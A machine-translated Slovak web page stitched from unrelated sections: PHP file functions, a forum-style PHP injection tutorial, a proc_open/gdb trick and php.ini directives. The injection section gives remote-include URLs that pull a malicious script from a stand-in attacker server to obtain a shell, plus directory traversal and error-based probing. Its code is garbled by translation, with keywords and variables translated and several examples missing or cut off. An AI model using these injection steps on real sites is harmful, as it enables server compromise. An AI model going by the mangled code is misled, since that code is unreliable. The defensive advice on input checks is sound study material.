Otváranie súborov a externých údajov. Potenciálna zraniteľnosť php skriptov. Práca so súbormi v php: otváranie, písanie, čítanie

  • 03.11.2019
16,5 tis

V skutočnosti otvorenie súboru php nie je veľký problém. Keď ste uprostred lesa, môže byť ťažšie otvoriť fľašu piva. Myslia si to však iba zanietení programátori. A pre začiatočníkov vám povieme o všetkých možnostiach php pre prácu so súbormi:

súbory Php

Súbory s príponou php obsahujú kód napísaný v rovnomennom programovacom jazyku. Na rozdiel od iných jazykov je php programovací jazyk na strane servera. To znamená, že beží na strane servera. Preto na odladenie jeho kódu musí byť na klientskom počítači nainštalovaný lokálny server.

Na prácu s php súbormi sa používajú špeciálne aplikácie - softvérové ​​editory. Najbežnejšie sú:

  • Dreamweaver.
  • PHPEdit.
  • Vývoj Eclipse PHP.
Pri vytváraní stránok založených na php možno budete musieť znova použiť kód programu. V takýchto situáciách je vhodné zahrnúť hotové riešenia, ktoré sú v inom súbore. Používa sa na to konštrukcia include. Jeho syntax je:

zahrnúť názov súboru

Príklad pripojenia:

Zahrnutý súbor:


Je tiež možné zahrnúť súbor pomocou konštrukcie require. Na rozdiel od include obsahuje súbor pred spustením programového kódu. Pomocou požiadavky v kóde je možné len jedno volanie tohto súboru. Ak ho zavoláte znova, systém vydá globálnu chybovú správu a zastaví vykonávanie programu.

Konštrukt include zahŕňa zdroj iba počas vykonávania programu. Podporuje viacnásobné čítanie súboru php. Ak sa vyskytne chyba, zobrazí sa iba varovné hlásenie a spúšťanie kódu bude pokračovať od ďalšieho riadku.

Otváranie a zatváranie súborov

V php sa všetky operácie so súbormi vykonávajú v niekoľkých fázach:

  • Otvorenie súboru;
  • Úprava obsahu;
  • Zatvorenie súboru.

Na otvorenie súboru sa používa funkcia fopen (). Jeho syntax je:

int fopen (reťazec názov súboru, režim reťazca [, int use_include_path])

Akceptované argumenty:

  • string filename - názov súboru alebo absolútna cesta k nemu. Ak cesta k súboru nie je zadaná, bude sa hľadať v aktuálnom adresári. Ak hľadaný súbor chýba, systém zobrazí chybové hlásenie. Príklad:

  • string mode - označuje režim otvárania súboru. Hodnoty akceptované argumentom:
  • r - súbor je otvorený len na čítanie, ukazovateľ súboru je nastavený na začiatku;
  • r + - súbor je otvorený na čítanie a zápis;
  • w - Vytvorí nový súbor len na zápis. Ak súbor s rovnakým názvom už existuje, všetky údaje sa v ňom automaticky vymažú;
  • w + - vytvorí sa nový súbor na zápis a čítanie. Ak takýto súbor existuje, jeho údaje sa úplne prepíšu novými;
  • a - súbor je otvorený na zápis. Ukazovateľ je umiestnený na konci. To znamená, že zápis do súboru php nezačne od začiatku, ale od konca;
  • + - otvorte súbor v režime čítania a zápisu. Nahrávanie sa spustí od konca;
  • b - spôsob práce so súborom obsahujúcim binárne dáta (v binárnom systéme počtu). Tento režim je dostupný iba v operačnom systéme Windows.

Ak chcete zatvoriť prístup k súboru, použite funkciu fclose (). Syntax:

int fclose (súbor int), kde súbor int je deskriptor lokality na zatvorenie.

Po každom čítaní alebo zápise je potrebné súbor zatvoriť pomocou tejto funkcie. V opačnom prípade zostane prúd vytvorený pre súbor otvorený. A to vedie k zbytočnej spotrebe kapacity servera.

Príklad:

Čítanie a zapisovanie súborov

Funkcia readfile () je ideálna na jednoduché zobrazenie celého obsahu súboru. Jeho syntax je:

readfile (reťazcový názov súboru), kde string filename je reťazec názvu súboru (nie deskriptor).


Rovnaký súbor je možné prečítať pomocou funkcie fpassthru (). Číta údaje od koncovej polohy ukazovateľa po koniec súboru. Jeho syntax je:

int fpassthru (súbor int)

Funkcia vyžaduje otvorenie a zatvorenie súboru. Príklad:

Výsledok je podobný predchádzajúcemu.

Funkcie na prácu so súbormi v php vám umožňujú čítať obsah riadok po riadku a znak po znaku:

  • string fgets (súbor int, dĺžka int)- funkcia číta reťazec dĺžky dĺžky. Príklad:

  • reťazec fread (súbor int, dĺžka int)- akcia je totožná s predchádzajúcou.

Na zapisovanie textových údajov do súboru existujú dve rovnaké funkcie:

  • int fputs (súbor int, reťazec [, dĺžka int])
  • int fwrite (súbor int, reťazec [, dĺžka int])

Funkcie zapisujú do súboru int súbor reťazcový reťazec reťazec zadanej dĺžky int dĺžky ( voliteľný argument). Príklad:

Vytváranie a odstraňovanie súborov

Na vytvorenie súboru php môžete použiť funkciu fopen () v režime prístupu „w“ alebo „w +“. Alebo dotyková () funkcia. Nastavuje čas úpravy súboru. Ak neexistuje prvok s požadovaným názvom, vytvorí sa. Jeho syntax.

Základy vstrekovania php pre začiatočníkov.​


PHP injekcia(anglická injekcia PHP) - o Jedným zo spôsobov, ako hacknúť webové stránky PHP, je spustiť kód tretej strany na strane servera. Potenciálne nebezpečné funkcie sú:
eval (),
preg_replace () (s modifikátorom "e"),
vyžadovať_raz (),
include_once (),
zahrnúť (),
vyžadovať (),
create_function ().

Vloženie PHP je možné, ak sú vstupné parametre akceptované a používané bez overenia.

Kliknutím rozbalíte...

(c) Wiki


Základy.​

Php-injekcia je forma útoku na webovú stránku, keď útočník vloží svoj php kód do php aplikácie pod útokom.
Ak je injekcia úspešná, útočník môže spustiť ľubovoľný (potenciálne nebezpečný) kód pkhp na cieľovom serveri. Napríklad vyplňte škrupinu. Najprv si však poďme podrobne rozobrať, ako sa to deje.

Napríklad:
Predstavme si, že máme webovú stránku napísanú v PHP.
Predstavme si tiež, že stránka používa príkaz strana = strana.html na zobrazenie požadovanej stránky.
Kód bude vyzerať takto:

$ súbor = $ _GET ["stránka"]; // Zobrazená stránka
zahrnúť (súbor $);
?>

To znamená, že všetko zobrazené na stránke bude vložené do php-kódu tejto stránky. Preto môže útočník urobiť niečo ako:

http: //www.attacked_site.com/index.php?page=http://www.attacking_server.com/ malicious_script.txt?

Ak sa pozrieme na to, čo sa stane po vykonaní zahrnutia, zobrazí sa nám nasledujúci kód spustený na cieľovom serveri:

$ súbor = "http: //www.attacking_server.com/malicious_script.txt?"; // $ _ GET ["stránka"];
zahrnúť (súbor $); // $ súbor je skript vložený útočníkom
?>

Vidíme, že útočník úspešne zaútočil na cieľový server.

Viac informácií:
Prečo bol teda útočník schopný vykonať injekciu PHP?
Všetko kvôli funkcii zahrnúť () umožňuje spúšťať vzdialené súbory.

Prečo bol v príklade špecifikovaný skript s príponou * .TXT , ale nie * .php ?
Odpoveď je jednoduchá, ak má skript formát * .php , bežal by na serveri útočníka a nie na cieľovom systéme.

symbol " ? "v ceste k vloženému skriptu, aby ste odstránili čokoľvek vo funkcii zahrnúť () na cieľovom serveri.
Príklad:

$ súbor = $ _GET ["stránka"];
include ($ súbor. ".php");
?>

Tento skript pridá rozšírenie * .php na čokoľvek vyvolané príkazom zahrnúť () .
Tie.

http: //www.attacking_service.com/ malicious_script.txt

Mení sa v

http: //www.attacking_service.com/ malicious_script.txt.php

Skript sa s týmto názvom nespustí (na útočníkovom serveri nie je žiadny súbor / malicious_script.txt.php)
Preto pridávame "?" na konci cesty k škodlivému skriptu:

http: //www.attacking_service.com/ malicious_script.txt?.php

Ale zostáva spustiteľný.

Injekcia PHP prostredníctvom zraniteľnosti funkcie include ().​

RFI - Remote include pre PHP vstrekovanie.


Schopnosť RFI je pomerne bežnou chybou v motoroch.
Nájdete ho nasledovne:
Predpokladajme, že sme náhodou narazili na stránku, ktorá končí v paneli s adresou prehliadača takto:

/ index. php? strana = hlavná

Namiesto toho nahraďte Hlavná akýkoľvek bludný význam, napr upyachka

/ index. php? strana = upyachka

Ako odpoveď dostaneme chybu:

Upozornenie: hlavný (upyachka. Php): nepodarilo sa otvoriť stream: Žiadny takýto súbor alebo adresár v / home / user / www //page.php na riadku 3

Upozornenie: hlavný (upyachka. Php): nepodarilo sa otvoriť stream: Žiadny takýto súbor alebo adresár v / home / user / www / stránka. php na riadku 3

Upozornenie: main (): Nepodarilo sa otvoriť súbor upyachka.php na zahrnutie (include_path = ".: / usr / lib / php: / usr / local / lib / php: / usr / local / share / hruška") na / domovskej / používateľskej / www / stránke. php na riadku 3

To nám ukazuje, že začlenenie je možné.
Snažíme sa nahradiť upyachka stránka s cestou k shellu (prípona súboru shell by nemala byť špecifikovaná alebo špecifikovaná tak, ako je to popísané vyššie)

http: //www.attacked_server.com/index.php?file=http://www.attacked_site.com/shell

Takto sa získa škrupina. Teraz musíte o zraniteľnosti informovať správcu stránky, aby ju opravil a zlí chlapci túto chybu nevyužili.

LFI - local include for PHP injection.


Povedzme, že sme narazili na rovnaké zraniteľné miesto.

/ index. php? súbor = hlavný

S kódom

..
Include ("priečinok / $ stránka .htm");

?>

Toto je už miestne začlenenie. V tejto situácii je možný iba zoznam súborov:

/ index. php? strana = .. / index. php

V ďalšom prípade kód vyzerá takto:

..
Include ("$ dir1 /folder/page.php");

?>

V tomto prípade môžete napísať cestu k shellu takto:
Vytvorte priečinok priečinok na stránke, kde je uložený shell, umiestnime shell do tohto priečinka:

http: //www.attacker_site.com/folder/shell.php

V tomto prípade bude injekcia vyzerať takto:

index. php? dir1 = http: //www.attacker_site.com/

Metódy ochrany


Zvážte skript:

...

obsahovať modul $. ".php";
...
?>

Tento skript je zraniteľný kvôli obsahu premennej modul $ práve pridané * .php a súbor sa spustí na výslednej ceste.

Existuje niekoľko spôsobov, ako sa brániť proti takémuto útoku:


-Skontrolujte, či premenná modulu $ obsahuje cudzie znaky:

...
$ modul = $ _GET ["modul"];
if (strpbrk (modul $, ".? /:")) die ("Blokované");
obsahovať modul $. ".php";
...
?>

-Skontrolujte, či je modulu $ priradená jedna z platných hodnôt:
"/", "", $ strana); // Možnosť prechodu do iných adresárov je zablokovaná.
if (file_exists ("súbory / $ stránka .htm"))
{
Zahrnúť ("súbory / $ stránka .htm" );
}
Inak
{
Echo
"chyba";
}

?>

PHP tiež poskytuje možnosť zakázať používanie vzdialených súborov zmenou hodnoty voľby allow_url_fopen na Off v konfiguračnom súbore php.ini.

Popisovaná zraniteľnosť predstavuje pre stránku vysoké nebezpečenstvo a autori PHP skriptov by na ňu nemali zabúdať.

Keď sa používali písacie potreby z
wikipedia,
zo zahraničného fóra security-sh3ll (spl0it),
z fóra Antichat (GreenBear).
Špeciálna vďaka Burt a f02 pre pomoc,
podpora a dobrá kritika)

Cez víkend som mal trochu času, tak som si urobil malý prieskum o proc_open () na * nix systémoch.

Zatiaľ čo proc_open () neblokuje spustenie PHP skriptu, aj keď shell skript nebeží na pozadí. PHP automaticky volá proc_close () po vykonaní celého PHP skriptu, pokiaľ ho nezavoláte. Môžeme si teda predstaviť, že na konci skriptu máme vždy riadok s proc_close ().

Problém spočíva v nie samozrejmom, ale logickom predobraze proc_close (). Predpokladajme, že máme skript ako:

$ proc = proc_open ("top -b -n 10000", pole (pole ("pipe", "r"), pole ("pipe", "w")), $ potrubia); // Spracujte niektoré údaje vytlačené naším skriptom, ale nie všetky údaje ozveny fread ($ pipes, 100); // Nečakajte, kým sa neskončí vykonávanie skriptu - ukončite // zatvorte potrubia array_map (" fclose ", $ potrubia); // zatvorte proces proc_close ($ proc);

Zvláštne, proc_close () čaká, kým skript shellu skončí, ale náš skript bol krátko nato ukončený. Stáva sa to preto, že sme zatvorili potrubia (zdá sa, že PHP to robí potichu, ak sme zabudli), pretože tento skript sa pokúša zapísať niečo do potrubia, ktoré už neexistuje - dostane chybu a skončí.

Teraz to skúsme bez rúr (dobre, budú, ale použijú aktuálne tty bez odkazu na PHP):

$ proc = proc_open ("top -b -n 10000", pole (), $ potrubia); proc_close ($ proc);

Teraz náš PHP skript čaká na dokončenie nášho shell skriptu. Môžeme sa tomu vyhnúť? Našťastie PHP vytvára shell skripty s

Sh -c "shell_script"

takže môžeme jednoducho zabiť proces sh a nechať náš skript spustený:

$ proc = proc_open ("top -b -n 10000", pole (), $ potrubia); $ proc_status = proc_get_status ($ proc); exec ("zabiť -9". $ proc_status ["pid"]); proc_close ($ proc);

Samozrejme, môžeme tento proces spustiť na pozadí, napríklad:

$ proc = proc_open ("top -b -n 10000 &", pole (), $ potrubia); proc_close ($ proc);

a nemá problém, ale táto funkcia nás privádza k najťažšej otázke: môžeme spustiť proces pomocou proc_open (), prečítať nejaký výstup a potom vynútiť proces znova? No istým spôsobom áno.

Hlavným problémom sú potrubia: nemôžeme ich zavrieť, inak náš proces zanikne, ale potrebujeme ich na načítanie užitočného zaťaženia z tohto procesu. Ukazuje sa, že tu môžeme použiť magický trik - gdb.

Najprv niekde vytvorte súbor (/ usr / share / gdb_null_descr v mojom príklade) s nasledujúcim obsahom:

P dup2 (otvorené ("/ dev / null", 0), 1) p dup2 (otvorené ("/ dev / null", 0), 2)

Povie gdb, aby zmenila deskriptory 1 a 2 (dobre, zvyčajne stdout a stderr) pre nové obslužné programy súborov (v tomto príklade / dev / null, ale môžete to zmeniť).

Teraz posledná vec: uistite sa, že gdb sa môže pripojiť k iným bežiacim procesom - to je prípad niektorých systémov štandardne, ale napríklad na ubuntu 10.10 musíte nastaviť / proc / sys / kernel / yama / ptrace_scope na 0, ak nespúšťajú ho ako root.

$ proc = proc_open ("top -b -n 10000", pole (pole ("pipe", "r"), pole ("pipe", "w"), pole ("pipe", "w")), $ potrubia); // Spracujte niektoré údaje vytlačené naším skriptom, ale nie všetky údaje ozveny fread ($ pipes, 100); $ proc_status = proc_get_status ($ proc); // Nájdite skutočný pid nášho procesu (musíme ísť o krok nižšie v strome procesov) $ pid = trim (exec ("ps h -o pid --ppid". $ Proc_status ["pid"])); // Zabitie rodičovského sh procesu exec ("kill -s 9". $ Proc_status ["pid"]); // Zmena obslužných programov stdin / stdout v našom procese exec ("gdb -p". $ Pid. "--Batch -x / usr / share / gdb_null_descr"); array_map ("fclose", $ pipes); proc_close ($ proc);

edit: Zabudol som spomenúť, že PHP nespúšťa váš shell skript okamžite, takže musíte chvíľu počkať, kým vykonáte ďalšie príkazy shellu, ale zvyčajne je to dosť rýchle (alebo je PHP dosť pomalé) a som lenivý pridávať tieto kontroly na moje príklady.

Umiestnenie súboru php.ini závisí od operačného systému, na ktorom beží server poskytovateľa hostingu. Ak chcete zistiť, kde sa nachádza, postupujte podľa 4 jednoduchých krokov:

  1. Vytvorte súbor php (názov môže byť ľubovoľný, ale ako príklad použijeme myphpinfo.php) a pridajte doň nasledujúce riadky:
  2. Nahrajte tento súbor na server, kde sa nachádza vaša lokalita (v koreňovom priečinku).
  3. Spustite cez prehliadač (zadajte URL https://yoursitename.com/myphpinfo.php).
  4. V okne, ktoré sa zobrazí, vyhľadajte cestu k php.ini (najprv sa pozrite na „Načítaný konfiguračný súbor“, ak je napísané „Žiadne“, potom sa pozrite na „Cesta k konfiguračnému súboru (php.ini)“).

Ako nastavím php.ini?

Súbor php.ini má nasledujúce pravidlá syntaxe „smernica = hodnota“. Ak chcete pridať komentáre (napríklad v ktorých uvediete, čo toto nastavenie ovplyvňuje), urobte to po bodkočiarke (všetko za týmto znakom sa nepočíta ako príkaz). Tu je príklad:

max_execution_time = 40; Maximálny počet sekúnd vykonávania skriptu

Všeobecné nastavenia

PHPengine = On; PHP skripty sú povolené.

Short_open_tag = Zapnuté; Umožňuje jednoduché označovanie kódu PHP

Asp_tags = On; Zahŕňa možnosť zvýraznenia kódu PHP, ako sa to robí v ASP -<% %>

Presnosť = 12; Označuje, koľko číslic bude za desatinnou čiarkou pre čísla s pohyblivou rádovou čiarkou.

Output_buffering = 4096; Výstupné ukladanie do vyrovnávacej pamäte sa automaticky povolí, pričom veľkosť vyrovnávacej pamäte bude špecifikovaná po "rovná sa".

Safe_mode = On; Bezpečnostný mód.

Safe_mode_allowed_env_vars = PHP_; Umožňuje používateľovi pracovať iba s premennými prostredia, ktoré začínajú PHP_. Ak je táto direktíva prázdna (nebude mať žiadnu hodnotu), používatelia budú môcť zmeniť ľubovoľné premenné prostredia. To môže byť veľmi škodlivé pre ochranu skriptov.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; Zabraňuje zmene premenných, ktoré sú uvedené oddelené čiarkami.

Disable_functions =; Za znakom „rovná sa“ musíte napísať funkcie, ktoré chcete zakázať, oddelené čiarkami (zvyčajne sa to robí kvôli bezpečnosti)

Disable_classes =; Po znaku „rovná sa“ musíte napísať triedy, ktorých volanie chcete zakázať, oddelené čiarkami (zvyčajne sa to robí pre bezpečnosť)

Obmedzenie zdrojov

max_execution_time = 40; Maximálny čas na spustenie skriptu (v sekundách)

Max_input_time = 40; Maximálny čas v sekundách, ktorý môže skript poskytnúť na spracovanie načítaných údajov.

Memory_limit = 16M; Maximálna pamäť, ktorá je pridelená na operáciu jedného skriptu

Spracovanie chýb a protokoly

error_reporting = E_ALL | E_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE; Určuje zoznam chýb, ktoré je možné zobraziť.

Display_errors = Zapnuté; Umožňuje odosielať chyby priamo do prehliadača (často sa používa na uľahčenie ladenia).

Display_startup_errors = Zapnuté; Chyby, ktoré sa objavia počas spúšťania PHP, môžu byť zobrazené.

Log_errors = Zapnuté; Chyby sa môžu zapisovať do súboru denníka.

Log_errors_max_len = 1024; Maximálny počet znakov, ktoré môže dĺžka protokolu vytvoriť.

Track_errors = Zapnuté; Posledná chybová správa sa uloží do premennej $ php_errormsg

Html_errors = Zapnuté; Povolený výstup chybových hlásení v HTML.

Error_log = názov súboru; Určuje názov protokolu chýb.

Spracovanie dát

poradie_premenných = "EGPCS"; Nastavuje poradie, v ktorom bude PHP registrovať premenné (E - vstavané premenné, G - premenné GET, P - premenné POST, C - Cookies, S - relácie). Ak odstránite niektoré z písmen, práca zodpovedajúcich premenných bude zablokovaná.

Register_globals = Zapnuté; Umožňuje odkazovať na premenné, ktoré sa prijímajú prostredníctvom GET/POST/Cookie/relácie, ako na bežné premenné (napríklad „$ variablename“).

Register_argc_argv = Zapnuté; Je povolené vytvárať premenné $ argv a $ argc na základe informácií z metódy GET.

Post_max_size = 8 miliónov; Nastavuje maximálne množstvo dát, ktoré je možné prijať.

Magic_quotes_gpc = Zapnuté; Umožňuje automatické spracovanie cenových ponúk, ktoré prichádzajú cez POST / GET / Cookie.

Auto_prepend_file =; Obsah súborov špecifikovaných v týchto smerniciach musí byť zodpovedajúcim spôsobom spracovaný v PHP PRED spustením skriptu.
auto_append_file =; Obsah súborov špecifikovaných v týchto smerniciach musí byť spracovaný PHP zodpovedajúcim spôsobom PO spustení skriptu.

Default_mimetype = "text / html"; Určuje kódovanie pre typ obsahu. V predvolenom nastavení sa použije text / html bez zadania kódovania

Doc_root =; Nastaví koreňový priečinok pre skripty PHP.

Extension_dir = "./"; Nastaví priečinok, do ktorého sa budú ukladať dynamicky načítané rozšírenia.

Nahrávanie súborov

file_uploads = Zapnuté; Nahrávanie súborov na server je povolené.

Upload_tmp_dir =; Dočasný adresár pre súbory, ktoré sa majú načítať.

Upload_max_filesize = 2M; Nastavuje maximálnu veľkosť súboru, ktorý je možné nahrať.

Práca so zásuvkami

user_agent = "PHP"; Premenná USER_AGENT sa nastaví pri vytvorení pripojenia soketu.

Default_socket_timeout = 30; Maximálny čas počúvania na zásuvke (sekundy).

Relácie

session.save_handler = súbory; Hovorí, že informácie o relácii musia byť uložené v súboroch

session.save_path = / tmp; Po znaku „rovná sa“ musíte zadať cestu k priečinku, v ktorom budú uložené informácie o reláciách (je dôležité, aby priečinok už existoval)

session.use_cookies = 1; Umožňuje používanie súborov cookie v reláciách

session.name = PHPSESSID; Označuje, že sa má použiť ako názov relácie a súbor cookie relácie - ID relácie

session.cookie_lifetime = 0; Trvanie relácie ("0" znamená, že relácia trvá, kým sa nezatvorí okno prehliadača)

session.use_trans_sid = 1; Ak používateľ zakázal súbor cookie, ku všetkým odkazom sa pridá ID relácie

Dynamické rozšírenia

rozšírenie = názov modulu.prípona; Dá sa použiť na načítanie externých modulov. Pre systémy Windows zvyčajne píšu - rozšírenie = msql.dll a pre
UNIX - rozšírenie = msql.so

Práca s modulmi MySQL

mysql.allow_persistent = Zapnuté; Umožňuje trvalé pripojenia MySQL.

Mysql.max_persistent = -1; Nastavuje maximálny počet trvalých pripojení MySQL. Ak zadáte -1, znamená to, že neexistujú žiadne obmedzenia.

Mysql.max_links = -1; Určuje maximálny počet trvalých pripojení MySQL a nestabilných pripojení ODBC. Ak zadáte -1, znamená to, že neexistujú žiadne obmedzenia.

Mysql.default_port =; Port pre funkciu mysql_connect.

Mysql.default_socket =; Názov soketu pre lokálne pripojenia MySQL.

Mysql.default_host =; Názov hostiteľa pre funkciu mysql_connect.

Mysql.default_user =; Používateľské meno.

Mysql.default_password =; heslo.

Ak ste si vytvorili vlastný súbor php.ini a umiestnili ho do priečinka lokality

V takom prípade k nemu musíte z bezpečnostných dôvodov zablokovať prístup všetkým okrem vás. Ak to chcete urobiť, musíte do súboru .htaccess napísať nasledujúci kód:


rozkaz povoliť, zamietnuť
odoprieť od všetkých

Ale buďte opatrní, ako s týmito nastaveniami prestanú fungovať všetky direktívy (php_value, php_flag, atď.) týkajúce sa nastavení php cez súbor .htaccess (vygeneruje sa 500 Internal Server Error).

Dôležité! Ak si vytvoríte vlastný súbor php.ini, ovplyvní to iba adresár, v ktorom sa nachádza.